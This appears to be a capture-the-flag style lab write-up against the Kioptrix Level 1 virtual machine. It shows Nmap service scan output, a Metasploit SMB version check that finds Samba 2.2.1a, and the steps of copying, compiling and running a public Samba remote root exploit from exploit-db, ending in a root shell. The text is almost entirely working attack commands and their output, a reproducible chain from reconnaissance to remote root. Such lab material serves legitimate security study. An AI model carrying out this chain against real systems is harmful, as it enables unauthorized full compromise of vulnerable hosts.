## SAMBA 2.2 EXPLOIT

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)

| ssh-hostkey:

| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)

| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)

|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)

|_sshv1: Server supports SSHv1

80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

|_http-title: Test Page for the Apache Web Server on Red Hat Linux

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd (workgroup: DMYGROUP)

443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

|_http-title: 400 Bad Request

|_ssl-date: 2020-06-08T14:08:16+00:00; +1m50s from scanner time.

| sslv2:

| SSLv2 supported

| ciphers:

| SSL2_RC4_128_WITH_MD5

| SSL2_RC4_128_EXPORT40_WITH_MD5

| SSL2_RC4_64_WITH_MD5

| SSL2_DES_192_EDE3_CBC_WITH_MD5

| SSL2_DES_64_CBC_WITH_MD5

| SSL2_RC2_128_CBC_WITH_MD5

|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5

32768/tcp open status 1 (RPC #100024)

MAC Address: 00:0C:29:0E:13:1C (VMware)

```
msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.2.111
rhosts => 192.168.2.111
msf5 auxiliary(scanner/smb/smb_version) > run
[*] 192.168.2.111:139     - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.2.111:445     - Scanned 1 of 1 hosts (100% complete)
root@kali:/home/kali/Desktop/vulnhub/kiop1# cp /usr/share/exploitdb/exploits/multiple/remote/10.c .
root@kali:/home/kali/Desktop/vulnhub/kiop1# gcc 10.c -o samba
root@kali:/home/kali/Desktop/vulnhub/kiop1# ls
10.c  fullscan  samba  scan
root@kali:/home/kali/Desktop/vulnhub/kiop1# ./samba -b 0 192.168.2.111
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
-------------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
-------------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
getuid
/bin//sh: getuid: command not found
whoami
root
```